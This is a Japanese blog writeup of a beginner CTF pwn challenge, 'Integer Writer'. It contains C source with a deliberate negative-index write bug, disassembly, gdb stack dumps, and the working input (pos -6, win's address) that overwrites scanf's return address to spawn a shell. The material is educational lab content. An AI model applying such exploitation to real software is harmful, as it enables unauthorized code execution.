Daily AlpacaHackとは

Daily AlpacaHack

初心者に楽しんでもらえるようなシンプルな問題・教育的問題を毎日1問出題します。 月〜金は新規の問題、土日は新たに移植したCTFの過去問を公開します。

2025-12-05 Integer Writer

問題文

うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ…

初心者向けヒント

  • この問題は Pwn カテゴリー、すなわち Pwnable (Binary Exploitation) に関する問題です。
  • 難易度は Hard になっています。これまでの Easy, Medium より難しく、特に Daily AlpacaHack で初めて CTF を知った方は自力で解くことは難しいでしょう。
  • ですので、詰まった場合は適宜 AI も駆使して、解法の糸口を見つけることをおすすめします。
  • Pwn は初心者に難しく思われやすいですが、コンピューターの低レイヤーの挙動を楽しめる刺激的なカテゴリーなので、ぜひ挑戦してみてください。
  • もし解けなくても、終了後に他のプレイヤーが公開する解法(writeupと言います)を見て、ぜひ復習してみてください。
  • 問題公開から 24 時間後に writeup タブが下のタブ一覧に追加されます。
  • この問題の配布ファイルでは、C言語のソースコード main.c とそれをコンパイルしたバイナリ chal が与えられています。
  • このプログラムでは、プレイヤーから pos, val の入力を受け付けます。
  • 今回のゴールは、リモート環境で win 関数を実行してシェルを起動することです。
  • 適切な pos, val を送信すると win 関数が呼べるので、そのような値を見つけてください。
  • リモート環境には nc コマンドで接続します。
  • シェルが取れたら flag.txt を読んで、フラグを取得してください。

ソースコード

// gcc -o chal main.c -fno-pie -no-pie
#include <stdio.h>
#include <string.h>
#include <unistd.h>


/*
** How to get the address of `win` **

  $ nm chal | grep win
  XXXXXXXXX

This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
    execve("/bin/sh", NULL, NULL);
}

int main(void) {
    int integers[100], pos;

    /* disable stdio buffering */
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("pos > ");
    scanf("%d", &pos);
    if (pos >= 100) {
        puts("You're a hacker!");
        return 1;
    }
    printf("val > ");
    scanf("%d", &integers[pos]);

    return 0;
}

Writeup

このWriteupはPwnへの抵抗を減らす為に書いています。そのため、読者のレベルによっては途中でひらめいて自分で解けるようになると思うので、解けると思った時点で離脱して問題に取り組んでみてください。

わからない単語が出てきたらAIに聞くなりしましょう。

ヒント

以下、追加のヒントです。これを読んだ時点で解ける人もいると思うのでスクロールは慎重に

方針

Pwnの問題では多くの場合、RIP(次に実行される命令のアドレスが保持されるレジスタ)を意図した値に書き換えるのが最初の目標になります(これを「RIPを取る」と表現することがあります)。

また、この問題では/bin/shを実行してくれるwin関数が定義されており、PIE(Position Independent Executable)も無効化されている為、RIPをwin関数のアドレスに書き換えることでシェルが起動できます。

RIPを書き換える方法は複数あります。GOTと呼ばれる関数のアドレスが保持されたアドレスの値を書き換えたり、構造体やグローバルアドレスに含まれる関数ポインタの値を書き換えたり、スタック上にあるリターンアドレスを書き換えたり。

どの方法が適しているかは問題によって異なりますが、多くの場合、あるアドレス(もしくはその周辺)に任意の値を書き込む方法があった時、その書き込む先(もしくはその周辺)にあるものを選択します。

今回はスタック上に確保されるローカル変数に対し、Indexを指定して数値を書き込むことができるプログラムです。

つまりその近くにあるスタック上のリターンアドレスを書き換える方針が良さそうですね。

調査

リターンアドレスをwinのアドレスに書き換えたい。というモチベーションが定まったので、書き換えられるスタック上のどこにリターンアドレスがあるか探します。

mainのディスアセンブル結果を見てみましょう

┌ 240: sub.main_4011f5 ();
│           ; var int64_t canary @ rbp-0x8
│           ; var int64_t integers @ rbp-0x1a0
│           ; var int64_t pos @ rbp-0x1a4
│           0x004011f5      f30f1efa       endbr64
│           0x004011f9      55             push rbp
│           0x004011fa      4889e5         mov rbp, rsp
│           0x004011fd      4881ecb001..   sub rsp, 0x1b0
│           0x00401204      64488b0425..   mov rax, qword fs:[0x28]
│           0x0040120d      488945f8       mov qword [canary], rax
│           0x00401211      31c0           xor eax, eax
│           0x00401213      488b05362e..   mov rax, qword [obj.stdin]  ; obj.stdin_GLIBC_2.2.5
│                                                                      ; [0x404050:8]=0
│           0x0040121a      be00000000     mov esi, 0                  ; char *buf
│           0x0040121f      4889c7         mov rdi, rax                ; FILE *stream
│           0x00401222      e889feffff     call sym.imp.setbuf         ; void setbuf(FILE *stream, char *buf)
│           0x00401227      488b05122e..   mov rax, qword [obj.stdout] ; obj.__TMC_END__
│                                                                      ; [0x404040:8]=0
│           0x0040122e      be00000000     mov esi, 0                  ; char *buf
│           0x00401233      4889c7         mov rdi, rax                ; FILE *stream
│           0x00401236      e875feffff     call sym.imp.setbuf         ; void setbuf(FILE *stream, char *buf)
│           0x0040123b      488b051e2e..   mov rax, qword [obj.stderr] ; obj.stderr_GLIBC_2.2.5
│                                                                      ; [0x404060:8]=0
│           0x00401242      be00000000     mov esi, 0                  ; char *buf
│           0x00401247      4889c7         mov rdi, rax                ; FILE *stream
│           0x0040124a      e861feffff     call sym.imp.setbuf         ; void setbuf(FILE *stream, char *buf)
│           0x0040124f      bf0c204000     mov edi, str.pos__          ; 0x40200c ; "pos > " ; const char *format
│           0x00401254      b800000000     mov eax, 0
│           0x00401259      e862feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0040125e      488d855cfe..   lea rax, [pos]
│           0x00401265      4889c6         mov rsi, rax
│           0x00401268      bf13204000     mov edi, 0x402013           ; '\x13 @' ; "%d" ; const char *format
│           0x0040126d      b800000000     mov eax, 0
│           0x00401272      e869feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x00401277      8b855cfeffff   mov eax, dword [pos]
│           0x0040127d      83f863         cmp eax, 0x63               ; 'c' ; 99
│       ┌─< 0x00401280      7e11           jle 0x401293
│       │   0x00401282      bf16204000     mov edi, str.Youre_a_hacker_ ; 0x402016 ; "You're a hacker!" ; const char *s
│       │   0x00401287      e804feffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x0040128c      b801000000     mov eax, 1
│      ┌──< 0x00401291      eb3c           jmp 0x4012cf
│      ││   ; CODE XREF from sub.main_4011f5 @ 0x401280(x)
│      │└─> 0x00401293      bf27204000     mov edi, str.val__          ; 0x402027 ; "val > " ; const char *format
│      │    0x00401298      b800000000     mov eax, 0
│      │    0x0040129d      e81efeffff     call sym.imp.printf         ; int printf(const char *format)
│      │    0x004012a2      8b855cfeffff   mov eax, dword [pos]
│      │    0x004012a8      488d9560fe..   lea rdx, [integers]
│      │    0x004012af      4898           cdqe
│      │    0x004012b1      48c1e002       shl rax, 2
│      │    0x004012b5      4801d0         add rax, rdx
│      │    0x004012b8      4889c6         mov rsi, rax
│      │    0x004012bb      bf13204000     mov edi, 0x402013           ; '\x13 @' ; "%d" ; const char *format
│      │    0x004012c0      b800000000     mov eax, 0
│      │    0x004012c5      e816feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│      │    0x004012ca      b800000000     mov eax, 0
│      │    ; CODE XREF from sub.main_4011f5 @ 0x401291(x)
│      └──> 0x004012cf      488b55f8       mov rdx, qword [canary]
│           0x004012d3      64482b1425..   sub rdx, qword fs:[0x28]
│       ┌─< 0x004012dc      7405           je 0x4012e3
│       │   0x004012de      e8bdfdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from sub.main_4011f5 @ 0x4012dc(x)
│       └─> 0x004012e3      c9             leave
└           0x004012e4      c3             ret

ここで、gdbを起動して0x401204(sub rsp, 0x1b0によってローカル変数の為のスタックフレームが確保された直後)にbreakpointを設定した上で実行してみると、想定されたローカル変数の領域がわかります。

0x00007fffffffcb90│+0x0000: 0x0000000000000001	 ← $rsp
0x00007fffffffcb98│+0x0008: 0x0000000000000000   ← pos ($rbp-0x1a4)
0x00007fffffffcba0│+0x0010: 0x0000000000000000   ← integers ($rbp-0x1a0)
0x00007fffffffcba8│+0x0018: 0x0000000000000000
0x00007fffffffcbb0│+0x0020: 0x0000000000000000
0x00007fffffffcbb8│+0x0028: 0x0000000000000000
0x00007fffffffcbc0│+0x0030: 0x0000000000000000
0x00007fffffffcbc8│+0x0038: 0x0000000000000000
0x00007fffffffcbd0│+0x0040: 0x0000000000000000
0x00007fffffffcbd8│+0x0048: 0x0000000000000000
0x00007fffffffcbe0│+0x0050: 0x0000000000000000
0x00007fffffffcbe8│+0x0058: 0x0000000000000000
0x00007fffffffcbf0│+0x0060: 0x0000000000000000
0x00007fffffffcbf8│+0x0068: 0x0000000000000000
0x00007fffffffcc00│+0x0070: 0x0000000000000000
0x00007fffffffcc08│+0x0078: 0x0000000000000000
0x00007fffffffcc10│+0x0080: 0x0000000000000000
0x00007fffffffcc18│+0x0088: 0x0000000000000000
0x00007fffffffcc20│+0x0090: 0x0000000000c00000
0x00007fffffffcc28│+0x0098: 0x0000000000000008
0x00007fffffffcc30│+0x00a0: 0x0000000000000040 ("@"?)
0x00007fffffffcc38│+0x00a8: 0x0000000000000008
0x00007fffffffcc40│+0x00b0: 0x0000000000000040 ("@"?)
0x00007fffffffcc48│+0x00b8: 0x0000000000000000
0x00007fffffffcc50│+0x00c0: 0xffffffffffffffff
0x00007fffffffcc58│+0x00c8: 0x0000000000000000
0x00007fffffffcc60│+0x00d0: 0x0000000000000000
0x00007fffffffcc68│+0x00d8: 0x0000007100000017
0x00007fffffffcc70│+0x00e0: 0x0000001000000000
0x00007fffffffcc78│+0x00e8: 0x0000000000000000
0x00007fffffffcc80│+0x00f0: 0x0000000000000002
0x00007fffffffcc88│+0x00f8: 0x8000000000000006
0x00007fffffffcc90│+0x0100: 0x0000000000000000
0x00007fffffffcc98│+0x0108: 0x0000000000000000
0x00007fffffffcca0│+0x0110: 0x0000000000000000
0x00007fffffffcca8│+0x0118: 0x0000000000000000
0x00007fffffffccb0│+0x0120: 0x0000000000000000
0x00007fffffffccb8│+0x0128: 0x0000000000000000
0x00007fffffffccc0│+0x0130: 0x000000000000000d
0x00007fffffffccc8│+0x0138: 0x0000000000000001
0x00007fffffffccd0│+0x0140: 0x0000000000000001
0x00007fffffffccd8│+0x0148: 0x0000000000000001
0x00007fffffffcce0│+0x0150: 0x0000000000400040  →  0x0000000400000006
0x00007fffffffcce8│+0x0158: 0x00007ffff7fe283c  →  <_dl_sysdep_start+1020> mov rax, QWORD PTR [rsp+0x58]
0x00007fffffffccf0│+0x0160: 0x00000000000006f0
0x00007fffffffccf8│+0x0168: 0x00007fffffffd2e9  →  0xb094f0f4fe241f08
0x00007fffffffcd00│+0x0170: 0x00007ffff7fc1000  →  0x00010102464c457f
0x00007fffffffcd08│+0x0178: 0x0000010101000000
0x00007fffffffcd10│+0x0180: 0x0000000000000002
0x00007fffffffcd18│+0x0188: 0x00000000178bfbff
0x00007fffffffcd20│+0x0190: 0x00007fffffffd2f9  →  0x000034365f363878 ("x86_64"?)
0x00007fffffffcd28│+0x0198: 0x0000000000000064 ("d"?)
0x00007fffffffcd30│+0x01a0: 0x0000000000001000   ← integers[99]
0x00007fffffffcd38│+0x01a8: 0x00000000004010f0  →  <_start+0> endbr64 ← canary ($rbp-0x8)
0x00007fffffffcd40│+0x01b0: 0x0000000000000001	 ← $rbp
0x00007fffffffcd48│+0x01b8: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax
0x00007fffffffcd50│+0x01c0: 0x0000000000000000
0x00007fffffffcd58│+0x01c8: 0x00000000004011f5  →  <main+0> endbr64

さて、見たところmainのリターンアドレスはintegers[0] ~ [99]には収まっていないようです。

また、今回書き換えられるのはintの値であり、intはこの環境では32bitです。

たとえmainのリターンアドレスをwinのものに書き換えようとしても、下位32bitだけが書き換わった0x00007fff004011d6という違うアドレスになってしまいます。

では次に、もう少しプログラムの実行を進めて、実際に値を書き換える時のスタックの状態を見てみましょう。

とりあえずposには-1を入れ、scanf("%d", &integers[-1])が呼ばれた直後の状態を見てみます。

呼び出す直前はこのようになっており、

──── stack ────
0x00007fffffffcb90│+0x0000: 0x0000000000000001	 ← $rsp
0x00007fffffffcb98│+0x0008: 0xffffffff00000000   ← pos ($rbp-0x1a4)
0x00007fffffffcba0│+0x0010: 0x0000000000000000	 ← $rdx integers ($rbp-0x1a0)
0x00007fffffffcba8│+0x0018: 0x0000000000000000
0x00007fffffffcbb0│+0x0020: 0x0000000000000000
0x00007fffffffcbb8│+0x0028: 0x0000000000000000
0x00007fffffffcbc0│+0x0030: 0x0000000000000000
0x00007fffffffcbc8│+0x0038: 0x0000000000000000
 ──── code:x86:64 ────
     0x4012b8 <main+195>       mov    rsi, rax
     0x4012bb <main+198>       mov    edi, 0x402013
     0x4012c0 <main+203>       mov    eax, 0x0
 →   0x4012c5 <main+208>       call   0x4010e0
   ↳    0x4010e0                  endbr64
        0x4010e4                  jmp    QWORD PTR [rip+0x2f3e]        # 0x404028 <__isoc99_scanf@got.plt>
        0x4010ea                  nop    WORD PTR [rax+rax*1+0x0]
        0x4010f0 <_start+0>       endbr64
        0x4010f4 <_start+4>       xor    ebp, ebp
        0x4010f6 <_start+6>       mov    r9, rdx

実際にscanfに入ると

──── stack ────
0x00007fffffffcb88│+0x0000: 0x00000000004012ca  →  <main+213> mov eax, 0x0	 ← $rsp
0x00007fffffffcb90│+0x0008: 0x0000000000000001
0x00007fffffffcb98│+0x0010: 0xffffffff00000000   ← pos ($rbp-0x1a4)
0x00007fffffffcba0│+0x0018: 0x0000000000000000	 ← $rdx integers ($rbp-0x1a0)
0x00007fffffffcba8│+0x0020: 0x0000000000000000
0x00007fffffffcbb0│+0x0028: 0x0000000000000000
0x00007fffffffcbb8│+0x0030: 0x0000000000000000
0x00007fffffffcbc0│+0x0038: 0x0000000000000000
──── code:x86:64 ────
     0x4010d0                  endbr64
     0x4010d4                  jmp    QWORD PTR [rip+0x2f46]        # 0x404020 <execve@got.plt>
     0x4010da                  nop    WORD PTR [rax+rax*1+0x0]
 →   0x4010e0                  endbr64
     0x4010e4                  jmp    QWORD PTR [rip+0x2f3e]        # 0x404028 <__isoc99_scanf@got.plt>
     0x4010ea                  nop    WORD PTR [rax+rax*1+0x0]
     0x4010f0 <_start+0>       endbr64
     0x4010f4 <_start+4>       xor    ebp, ebp
     0x4010f6 <_start+6>       mov    r9, rdx

このように、call scanfによって、scanf自体のリターンアドレスである0x4012caがスタック上に積まれることが確認できます。

このアドレスは32bitで正しく書き換えられる上、実際に値の書き換えが発生するscanfそのもののリターンアドレスなので、書き換えた後に遷移するはずです。

Exploit

では実際に計算して書き換えてみましょう。

ここで、integers0x00007fffffffcba0に、scanfのリターンアドレスは0x00007fffffffcb88にあるので、

0x00007fffffffcb88 - 0x00007fffffffcba0 = 24

書き換える値が32bit単位なので、24 / 4 = 6となります。

つまり、pos-6にすることでscanfのリターンアドレスを書き換えられそうです。実際にgdbで引数を確認してみましょう。

───── code:x86:64 ────
     0x4012b8 <main+195>       mov    rsi, rax
     0x4012bb <main+198>       mov    edi, 0x402013
     0x4012c0 <main+203>       mov    eax, 0x0
 →   0x4012c5 <main+208>       call   0x4010e0
   ↳    0x4010e0                  endbr64
        0x4010e4                  jmp    QWORD PTR [rip+0x2f3e]        # 0x404028 <__isoc99_scanf@got.plt>
        0x4010ea                  nop    WORD PTR [rax+rax*1+0x0]
        0x4010f0 <_start+0>       endbr64
        0x4010f4 <_start+4>       xor    ebp, ebp
        0x4010f6 <_start+6>       mov    r9, rdx
───── arguments (guessed) ────
0x4010e0 (
   $rdi = 0x0000000000402013 → 0x7227756f59006425 ("%d"?),
   $rsi = 0x00007fffffffcb88 → 0x00000000004012a2 → <main+173> mov eax, DWORD PTR [rbp-0x1a4],
   $rdx = 0x00007fffffffcba0 → 0x0000000000000000
)

呼び出す時点ではその前に呼び出されたprintfのリターンアドレスが入っていますが、正しそうです。

通常通りプログラムを実行して、posに-6を、valwinのアドレス(0x004011d6 == 4198870)を入力してみましょう。

$ ./chal
pos > -6
val > 4198870
$ echo hello
hello

無事シェルが起動できました。

リモートでも実行してみると

pos > -6
val > 4198870
cat flag.txt
****flagは自分で確認してみましょう****

無事Flagが取得できました。

まとめ

Daily AlpacaHackが始まって最初のPwnで、少し挫折を感じた方もいるかもしれませんが、これは初心者向けの問題の中では結構難しい(というより気づきが必要)なタイプだと思うので、素直に解けなくても気にする必要はありません。

また、そもそもPwnというカテゴリは必要な暗黙知が多い(要出典。他ジャンルもそうでは?)ので、何も知らずに挑んで解けずに絶望するのではなく、解きながら学んでいきましょう(これは全ジャンルに言えることで、Beginnersの問題もそうです)。

初心者向けCTFの多くは「初心者が何も知らなくても全部解ける」というよりも「初心者が解いていく中で学びを得られる」というものが多いです。(もちろん”初心者”のレベルによりますが)

ちなみに今日(2025-12-06)はSECCON Beginnersの過去問であるsimpleoverflowが出題されています。難易度はEasyです。

おわりに

この記事は🎄GMOぺパボ エンジニア Advent Calendar 2025の6日目の記事とします。